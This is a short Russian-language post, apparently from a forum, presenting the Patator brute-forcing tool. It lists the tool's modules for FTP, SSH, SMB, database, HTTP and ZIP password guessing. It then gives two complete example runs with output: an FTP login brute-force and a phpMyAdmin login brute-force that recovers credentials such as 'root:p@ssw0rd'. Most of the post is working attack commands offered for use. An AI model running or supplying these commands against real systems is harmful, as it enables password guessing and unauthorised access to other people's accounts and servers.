Patator - это многоцелевой модульный брутфорсер, написанный на питоне. На данный момент поддерживаются следующие протоколы: Код: * ftp_login : Brute-force FTP * ssh_login : Brute-force SSH * telnet_login : Brute-force Telnet * smtp_login : Brute-force SMTP * smtp_vrfy : Enumerate valid users using the SMTP VRFY command * smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command * http_fuzz : Brute-force HTTP/HTTPS * pop_passd : Brute-force poppassd (not POP3) * ldap_login : Brute-force LDAP * smb_login : Brute-force SMB * mssql_login : Brute-force MSSQL * oracle_login : Brute-force Oracle * mysql_login : Brute-force MySQL * pgsql_login : Brute-force PostgreSQL * vnc_login : Brute-force VNC * dns_forward : Forward lookup subdomains * dns_reverse : Reverse lookup subnets * snmp_login : Brute-force SNMPv1/2 and SNMPv3 * unzip_pass : Brute-force the password of encrypted ZIP files * keystore_pass : Brute-force the password of Java keystore files Пример брута FTP: Код: FTP : Enumerate valid logins on a too verbose server $ patator.py ftp_login host=10.0.0.1 user=FILE0 password=qsdf 0=logins.txt -x ignore,reset,retry:code=500 -x reset:code=230 -x ignore:mesg='Login incorrect.' 22:27:29 patator INFO - Starting Patator v0.2 22:27:29 patator INFO - --------------------------------------------------------------- 22:27:29 patator INFO - code & size | candidate | num | mesg .. 22:27:29 patator INFO - --------------------------------------------------------------- 22:27:30 patator INFO - 530 18 | root | 1 | Permission denied. 22:27:31 patator INFO - 230 17 | ftp | 13 | Login successful. 22:27:34 patator INFO - 530 18 | admin | 23 | Permission denied. 22:27:34 patator INFO - 530 18 | oracle | 31 | Permission denied. 22:28:02 patator INFO - 530 18 | test | 179 | Permission denied. 22:28:21 patator INFO - 230 17 | anonymous | 283 | Login successful. 22:28:26 patator INFO - 530 18 | ftpuser | 357 | Permission denied. 22:28:41 patator INFO - 530 18 | nobody | 402 | Permission denied. Пример брута phpMyAdmin Код: $ http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST body='pma_username=COMBO00&pma_password=COMBO01&server=1&lang=en' 0=combos.txt follow=1 accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server' -l /tmp/qsdf 10:55:50 patator INFO - Starting Patator v0.2 10:55:50 patator INFO - --------------------------------------------------------------- 10:55:50 patator INFO - code & size | candidate | num | mesg .. 10:55:50 patator INFO - --------------------------------------------------------------- 10:55:50 patator INFO - 200 8209:7075 | root: | 22 | HTTP/1.1 200 OK 10:55:51 patator INFO - 200 3838:2566 | root:p@ssw0rd | 44 | HTTP/1.1 200 OK ^C 10:55:52 patator INFO - Hits/Done/Size/Fail: 2/125/2342/0, Avg: 47 r/s, Time: 0h 0m 2s 10:55:52 patator INFO - To resume execution, pass --resume 12,13,12,13,12,12,13,13,13,12 Payload #22 was a false positive: $ cat /tmp/qsdf/22_200_8209\:7075.txt ... <div class="error">Login without a password is forbidden by configuration (see AllowNoPassword)</div> официальный сайт проекта: http://code.google.com/p/patator/ Вся дополнительная информация внутри скрипта.
